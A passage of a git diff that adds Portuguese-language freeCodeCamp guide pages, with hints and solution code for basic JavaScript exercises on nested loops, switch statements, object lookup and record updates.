+: checkered\_flag: **Explicação do problema:**
+
+Se você tiver um array multidimensional, você pode usar a mesma lógica do waypoint anterior para percorrer tanto o array quanto qualquer sub-array.
+
+Aqui está um exemplo:
+```
+var arr = [ 
+  [1,2], [3,4], [5,6] 
+ ]; 
+ for (var i=0; i < arr.length; i++) { 
+  for (var j=0; j < arr[i].length; j++) { 
+    console.log(arr[i][j]); 
+  } 
+ } 
+```
+
+Isto produz cada sub-elemento em `arr` um de cada vez. Note que para o laço interno, estamos verificando o comprimento de arr \[i\], já que arr \[i\] é ele próprio um array.
+
+*   Modifique a função `multiplyAll` para que ela multiplique a variável do `product` por cada número nos sub-arrays de `arr` .
+*   Certifique-se de que o segundo loop for está aninhado dentro do primeiro.
+
+**Links Relevantes**
+
+*   [Ninho Um Array Dentro De Outro Array](https://guide.freecodecamp.org/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array)
+*   [Iterar Através De Uma Matriz Com Um For Loop](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop)
+*   [Acessando matrizes aninhadas](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays)
+
+: speech\_balloon: Dica: 1
+
+Certifique-se de verificar com `length` e não a matriz geral.
+
+_tente resolver o problema agora_
+
+: speech\_balloon: Dica 2
+
+Use `i` `j` ao multiplicar o produto.
+
+_tente resolver o problema agora_
+
+: speech\_balloon: Dica 3
+
+Lembre-se de usar `arr[i]` quando você multiplica as sub-matrizes pela variável do `product` .
+
+_tente resolver o problema agora_
+
+_Alerta de Spoiler!_ ![](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+: beginner: **Basic Code Solution:**
+```
+function multiplyAll(arr) { 
+  var product = 1; 
+  // Only change code below this line 
+  for(var i=0; i < arr.length; i++){ 
+    for (var j=0; j < arr[i].length; j++){ 
+      product = product * arr[i][j]; 
+    } 
+  } 
+  // Only change code above this line 
+  return product; 
+ } 
+ 
+ // Modify values below to test your code 
+ multiplyAll([[1,2],[3,4],[5,6,7]]); 
+```
+
+: rocket: **[Run Code](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/)**
+
+**Explicação do código:**
+
+*   Verificamos o comprimento de `arr` no loop `i` e o comprimento `arr[i]` no loop `j` .
+*   Nós multiplicamos a variável de `product` por si só porque é igual a 1 e depois multiplicamos pelos sub-arrays.
+*   Os dois sub-arrays para multiplicar são `arr[i]` e `j` .
+
+: clipboard: **NOTAS PARA CONTRIBUIÇÕES:**
+
+*   : aviso: **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é semelhante, mas melhor, tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - Básica, Intermediária e Avançada. :semáforo:
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer conteúdo principal relevante. (: aviso: _**NÃO**_ remova nenhum nome de usuário existente)
+
+Veja: point\_right: [Modelo de Solução de Desafio do Wiki](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
new file mode 100644
index 0000000000..8306864e7e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
@@ -0,0 +1,21 @@
+---
+title: Passing Values to Functions with Arguments
+localeTitle: Passando Valores para Funções com Argumentos
+---
+## Passando Valores para Funções com Argumentos
+
+Nossa tarefa é criar uma função que tenha **parâmetros** . Estas são entradas que determinam a saída da função. Você coloca os parâmetros dentro do `()` , assim:
+
+```javascript
+function functionWithArgs(one, two) { 
+  console.log(one + two); 
+ } 
+```
+
+Agora temos que adicionar código dentro dos colchetes. Nossa tarefa é adicionar `one` e `two` e imprimir a soma no console. Aqui está a solução básica de código:
+
+```javascript
+functionWithArgs(7, 3); 
+ //This will console log 10. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
new file mode 100644
index 0000000000..67b8ad7ef5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
@@ -0,0 +1,46 @@
+---
+title: Practice comparing different values
+localeTitle: Pratique a comparação de valores diferentes
+---
+## Pratique a comparação de valores diferentes
+
+### Explicação do problema:
+
+· _Modifique a função para que ela retorne "Equal" somente quando os valores forem **estritamente** iguais._
+
+#### Sugestão 1
+
+Lembre-se de exercícios anteriores que, _ao contrário do operador de igualdade, que tenta converter os dois valores sendo comparados a um tipo comum, o operador de igualdade estrita não executa uma conversão de tipo._ [1](#cite1)
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+// Setup 
+ function compareEquality(a, b) { 
+    if (a === b) { // Change this line 
+        return  "Equal"; 
+    } 
+    return  "Not Equal"; 
+ } 
+ 
+ // Change this value to test 
+ compareEquality(10, "10"); 
+```
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `(a === b)` avaliada como `true` considerando tanto o tipo quanto o valor. Em caso afirmativo, retorna a instrução entre as chaves ("Equal"). Caso contrário, retorna a próxima instrução de `return` fora deles ("Não é igual").
+
+### Fontes
+
+1 ["JavaScript Básico: Comparação com o Operador de Igualdade Estrita", lição do fCC em _Algoritmos de Javascript e Certificação de Estruturas de Dados_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### Recursos
+
+*   ["Usando os operadores de igualdade" - _referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
new file mode 100644
index 0000000000..dde2b910a4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
@@ -0,0 +1,96 @@
+---
+title: Profile Lookup
+localeTitle: Pesquisa de perfil
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Temos uma variedade de objetos representando pessoas diferentes em nossas listas de contatos.
+
+Uma função `lookUpProfile()` que usa **firstName** e uma propriedade ( **prop** ) como argumentos foi pré-escrita para você.
+
+A função deve verificar se **firstName** é **firstName** de um contato real e a propriedade dada **(PROP)** é uma propriedade desse contato.
+
+Se ambos forem verdadeiros, retorne o _valor_ dessa propriedade.
+
+Se **firstName** não corresponder a nenhum contato, retorne `No such contact` .
+
+Se **prop** não corresponder a nenhuma propriedade válida, não retorne `No such property` .
+
+*   Altere o código abaixo `// Only change code below this line` e até `// Only change code above this line` .
+*   Verifique se você está editando o interior da função `lookUpProfile()` .
+    *   Esta função inclui dois parâmetros, **firstName** e **prop** .
+*   A função deve procurar na lista de **contatos** o parâmetro **firstName** fornecido.
+    *   Se houver uma correspondência encontrada, a função deve procurar o parâmetro **prop** dado.
+    *   Se o **firstName** e o **prop** associado forem encontrados, você deve retornar o valor do **prop** .
+    *   Se **firstName** for encontrado e nenhum **prop** associado for encontrado, você deverá retornar `No such property` .
+*   Se **firstName** não for encontrado em qualquer lugar, você deve retornar `No such contact` .
+
+#### Links Relevantes
+
+*   [Desafio: Acessando Propriedades de Objetos com Notação de Bracket](http://www.freecodecamp.com/challenges/accessing-objects-properties-with-bracket-notation)
+*   [Desafio: Iterar com JavaScript para loops](http://www.freecodecamp.com/challenges/iterate-with-javascript-for-loops)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use um loop `for` para percorrer a lista de **contatos** .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Use uma instrução `if` aninhada para primeiro verificar se o **firstName** corresponde e, em seguida, verifica `if` o **prop** corresponde.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Deixe o seu `return "No such contact"` fora do loop `for` como um final pega-tudo.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+for (var x = 0; x < contacts.length; x++){ 
+    if (contacts[x].firstName === name) { 
+        if (contacts[x].hasOwnProperty(prop)) { 
+            return contacts[x][prop]; 
+        } else { 
+            return "No such property"; 
+        } 
+    } 
+ } 
+ return "No such contact"; 
+```
+
+### Explicação do código:
+
+*   O loop `for` é executado, iniciando no primeiro objeto na lista de **contatos** .
+*   Se o parâmetro **firstName** passado para a função corresponder ao valor da chave `"firstName"` no primeiro objeto, a instrução `if` transmitida.
+*   Em seguida, usamos o método `.hasOwnProperty()` (verifica se há uma determinada propriedade e retorna um booleano) com **prop** como argumento. Se for verdade, o valor de **prop** é retornado.
+    *   Se a segunda instrução `if` falhar, `No such property` será retornada.
+*   Se a primeira instrução `if` falhar, o loop `for` continuará no próximo objeto da lista de **contatos** .
+*   Se o parâmetro **firstName** não corresponder ao objeto de **contatos** final, o loop `for` encerrado e `No such contact` será retornado.
+
+**Exemplo de Execução**
+
+*   `lookUpProfile("Akira","likes");` corre.
+*   `"Akira"` é correspondido à chave `"firstName"` no primeiro objeto, portanto, a instrução `if` retorna true.
+*   `"likes"` é encontrado dentro do primeiro objeto, então o segundo `if` retorna true.
+*   O valor de `"likes"` é retornado - `"Pizza", "Coding", "Brownie Points"` .
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") **`Wiki Challenge Solution Template`** para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
new file mode 100644
index 0000000000..adc7d6b973
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quoting Strings with Single Quotes
+localeTitle: Citando Strings com Citações Únicas
+---
+## Citando Strings com Citações Únicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
new file mode 100644
index 0000000000..ce85323a33
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
@@ -0,0 +1,97 @@
+---
+title: Record Collection
+localeTitle: Colecção de registos
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você recebe um objeto JSON representando (uma pequena parte de) sua coleção de registros. Cada álbum é identificado por um número de identificação exclusivo e possui várias propriedades. Nem todos os álbuns possuem informações completas.
+
+Escreva uma função que tenha um **id** , uma propriedade ( **prop** ) e um **valor** .
+
+Para o **ID** fornecido na **coleção** :
+
+Se o **valor** não estiver em branco ( **valor! == ""** ), atualize ou defina o **valor** para o **prop** .
+
+Se o **prop** é **"faixas"** e o **valor** não é em branco, verifique se o elemento especificado no array tem a propriedade "tracks". Se o elemento tiver a propriedade "tracks", insira o **valor** no final da matriz "tracks". Se o elemento não tiver a **propriedade** , crie o par de propriedade e valor.
+
+Se o **valor** estiver em branco, exclua esse **prop** .
+
+Sempre retorne o objeto de coleção inteiro.
+
+*   Altere o código abaixo `// Only change code below this line` e `// Only change code below this line` `// Alter values below to test your code` .
+*   Tome nota que você está editando o interior da função `updateRecords` .
+*   Para o parâmetro **id** fornecido, que está associado ao objeto de **coleção** :
+    *   Se o parâmetro **value** não for uma string vazia, atualize (ou configure) o parâmetro **value** para o parâmetro **prop** .
+    *   Se o parâmetro **prop** for igual a `"tracks"` e o **valor** não for uma string vazia, pressione o **valor** para o final da matriz de **tracks** .
+    *   Se o **valor** for uma string vazia, exclua essa **prop** do objeto.
+*   Finalmente, retorne o objeto de **coleção** .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use uma instrução `else if` para verificar as etapas necessárias.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+A segunda etapa listada nas instruções deve ser a primeira na declaração `else if` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Para acessar o valor de uma chave neste objeto, você usará a `collection[id][prop]` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function updateRecords(id, prop, value) { 
+  if (prop === "tracks" && value !== "") { 
+   if(collection[id][prop]) { 
+    collection[id][prop].push(value); 
+   } 
+   else { 
+    collection[id][prop]=[value]; 
+   } 
+  } else if (value !== "") { 
+    collection[id][prop] = value; 
+  } else { 
+    delete collection[id][prop]; 
+  } 
+ 
+  return collection; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/C2AZ/0)
+
+### Explicação do código:
+
+*   Primeiro, verifica se **prop** é igual a **tracks** E se o **valor** não é uma string em branco. Se ambos os testes forem aprovados, o **valor** será inserido na matriz de **faixas** .
+*   Se essa primeira verificação não for aprovada, a próxima verificação será feita somente se o **valor** não for uma string em branco. Se esse teste for aprovado, uma nova chave ( **prop** ) e um valor ( **valor** ) serão adicionados ao objeto, ou uma chave existente será atualizada se o **prop** já existir.
+*   Se ambas as verificações falharem (o **valor de** significado deve ser uma string vazia), a chave ( **prop** ) será removida do objeto.
+
+**Exemplo de Execução**
+
+*   `updateRecords(5439, "artist", "ABBA");` corre.
+*   **prop** é igual a "artista", não "faixas", então a primeira parte da declaração `else if` falha.
+*   **valor** não é uma string em branco, então a segunda parte da declaração if passa.
+*   `artist: "ABBA"` é adicionado ao `id` `5439` .
+
+### Recursos:
+
+*   [Desafio do FCC: Acessando Propriedades de Objetos com Notação de Bracket](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/)
+*   [O desafio do fCC: adicionar novas propriedades a um objeto JavaScript](http://www.freecodecamp.com/challenges/add-new-properties-to-a-javascript-object)
+*   [O desafio do fCC: excluir propriedades de um objeto JavaScript](http://www.freecodecamp.com/challenges/delete-properties-from-a-javascript-object)
+*   [O desafio do fCC: Acessando Objetos Aninhados](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/)
+*   ["Array.prototype.push ()" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   ["delete operator" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
new file mode 100644
index 0000000000..17ff1c00ec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
@@ -0,0 +1,9 @@
+---
+title: Replacing If Else Chains with Switch
+localeTitle: Substituindo se outras cadeias com o interruptor
+---
+## Substituindo se outras cadeias com o interruptor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
new file mode 100644
index 0000000000..8804477dea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
@@ -0,0 +1,14 @@
+---
+title: Return a Value from a Function with Return
+localeTitle: Retornar um valor de uma função com retorno
+---
+## Retornar um valor de uma função com retorno
+
+Usando o `return` , você pode fazer funções de saída de dados. Aqui está a solução básica de código:
+
+```javascript
+function timesFive(num) { 
+  return num * 5; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
new file mode 100644
index 0000000000..c4ed11206e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Return Early Pattern for Functions
+localeTitle: Retorna o padrão inicial para funções
+---
+## Retorna o padrão inicial para funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
new file mode 100644
index 0000000000..fab7a31ea7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
@@ -0,0 +1,53 @@
+---
+title: Returning Boolean Values from Functions
+localeTitle: Retornando valores booleanos de funções
+---
+## Retornando valores booleanos de funções
+
+Em vez de usar um bloco if / else para comparar a variável, podemos fazê-lo dentro da declaração de retorno com um operador de comparação e um código minúsculo.
+
+### Explicação do problema
+
+_Corrigir a função `isLess` para remover as instruções `if...else` ._
+
+```js
+// Fix this code 
+  if (a < b) { 
+    return true; 
+  } else { 
+    return false; 
+  } 
+```
+
+#### Sugestão 1
+
+Como no [exercício anterior,](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch) você está prestes a mudar como a função retorna o valor correto, o que significa que você não precisa reutilizar ou modificar esse código, mas substituí-lo.
+
+> _tente resolver o problema agora_
+
+#### Sugestão 2
+
+Para retornar `true` ou `false` você não precisa de duas declarações, nem de usar, `if` . O [operador de comparação](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) correto é tudo que você precisa.
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução de Código:
+
+```javascript
+function isLess(a, b) { 
+  // Fix this code 
+  return a <= b; 
+ } 
+ // Change these values to test 
+ isLess(10, 15); 
+```
+
+Execute o código em [repl.it.](https://repl.it/@AdrianSkar/Basic-Js-Returning-boolean-from-function)
+
+### Recursos
+
+*   ["Operador menor ou igual a (<=)" - _Referência do MDN para JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator_(%3C))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
new file mode 100644
index 0000000000..1e6ad1c5c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
@@ -0,0 +1,127 @@
+---
+title: Selecting from Many Options with Switch Statements
+localeTitle: Selecionando a partir de muitas opções com instruções de troca
+---
+## Selecionando a partir de muitas opções com instruções de troca
+
+_Se você tiver muitas opções para escolher, use uma instrução `switch` . Uma instrução `switch` testa um valor e pode ter várias instruções `case` que definem vários valores possíveis. As declarações são executadas a partir do primeiro valor do `case` correspondente até que uma `break` seja encontrada._
+
+_Aqui está um exemplo de pseudocódigo:_
+
+```js
+  switch(num) { 
+    case value1: 
+      statement1; 
+      break; 
+    case value2: 
+      statement2; 
+      break; 
+    ... 
+    case valueN: 
+      statementN; 
+      break; 
+  } 
+```
+
+### Um pouco mais de explicação
+
+Uma instrução switch primeiro avalia sua expressão. Em seguida, ele procura a cláusula do primeiro `case` cuja expressão é avaliada para o mesmo valor que o resultado da expressão de entrada (usando a [comparação estrita](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) , ( `===` ) e transfere o controle para essa cláusula, executando as instruções associadas. o valor fornecido, o primeiro caso correspondente é selecionado, mesmo que os casos não sejam iguais entre si.
+
+Se nenhuma cláusula `case` correspondente for encontrada, o programa procurará a cláusula `default` opcional e, se encontrada, transfere o controle para essa cláusula, executando as instruções associadas. Se nenhuma cláusula `default` for encontrada, o programa continuará a execução na instrução após o final do `switch` . Por convenção, a cláusula `default` é a última cláusula, mas não precisa ser assim.
+
+A instrução de `break` opcional associada a cada rótulo de caso assegura que o programa rompe o comutador quando a instrução correspondente é executada e continua a execução na instrução após o comutador. Se `break` for omitido, o programa continua a execução na próxima instrução na instrução `switch` . [1](#cite1)
+
+### Explicação do Problema:
+
+_Escreva uma instrução switch que teste `val` e configure a `answer` para as seguintes condições:_
+
+*   `1` - "alfa",
+*   `2` - "beta",
+*   `3` - "gama",
+*   `4` - "delta".
+
+## Sugestão 1
+
+Lembre-se de que os valores de `case` são testados com igualdade estrita ( `===` ).
+
+> Tente resolver o problema agora!
+
+## Sugestão 2
+
+Não veja as _"condições a seguir"_ como uma lista ordenada como parece na demo freeCodeCamp original, mas como valores e instruções, como mostrado aqui
+
+> Tente resolver o problema agora!
+
+## Alerta de Spoiler!
+
+### Você está completamente certo do que você quer dar uma olhada? …
+
+## Solução básica de código
+
+```js
+function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+      return "alpha"; 
+      break; 
+    case 2: 
+      return "beta"; 
+      break; 
+    case 3: 
+      return "gamma"; 
+      break; 
+    case 4: 
+      return "delta"; 
+      break; 
+  } 
+ 
+  // Only change code above this line 
+  return answer; 
+ } 
+ 
+ // Change this value to test 
+ caseInSwitch(1); 
+```
+
+### Explicação do código
+
+É comum ignorar que os valores do `case` são testados com igualdade estrita com qualquer necessidade de outra expressão, da seguinte forma: `case === value`
+
+## Solução alternativa de código:
+
+```javascript
+function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch (val){ 
+    case 1: 
+      answer="alpha"; 
+      break; 
+    case 2: 
+      answer="beta"; 
+      break; 
+    case 3: 
+      answer="gamma"; 
+      break; 
+    case 4: 
+      answer="delta"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ caseInSwitch(1); 
+```
+
+· Executar código no [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Switch-statements)
+
+### Explicação de código
+
+Como você já tem uma variável definida no início da função chamada `answer` e ela é definida como a última instrução de retorno, você pode atribuir novos valores a ela para cada caso e retornará a resposta esperada dependendo do valor que você passa para a função.
+
+### Fontes
+
+1 [Descrição do "switch" - _referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch#Description) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
new file mode 100644
index 0000000000..30bd45aad5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
@@ -0,0 +1,65 @@
+---
+title: Shopping List
+localeTitle: Lista de compras
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Crie uma lista de compras na variável **myList** . A lista deve ser um array multidimensional contendo vários sub-arrays.
+
+O primeiro elemento em cada sub-array deve conter uma string com o nome do item. O segundo elemento deve ser um número representando a quantidade, ou seja, `["Chocolate Bar", 15]` .
+
+Deve haver pelo menos 5 sub-arrays na lista.
+
+*   **myList** deve ser um array.
+*   Os primeiros elementos em cada um dos seus sub-arrays devem ser todos strings.
+*   Os segundos elementos em cada um dos seus sub-arrays devem todos ser números.
+*   Você deve ter pelo menos 5 itens em sua lista.
+
+#### Links Relevantes
+
+*   [Desafio: aninhe um array dentro de outro array](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/)
+
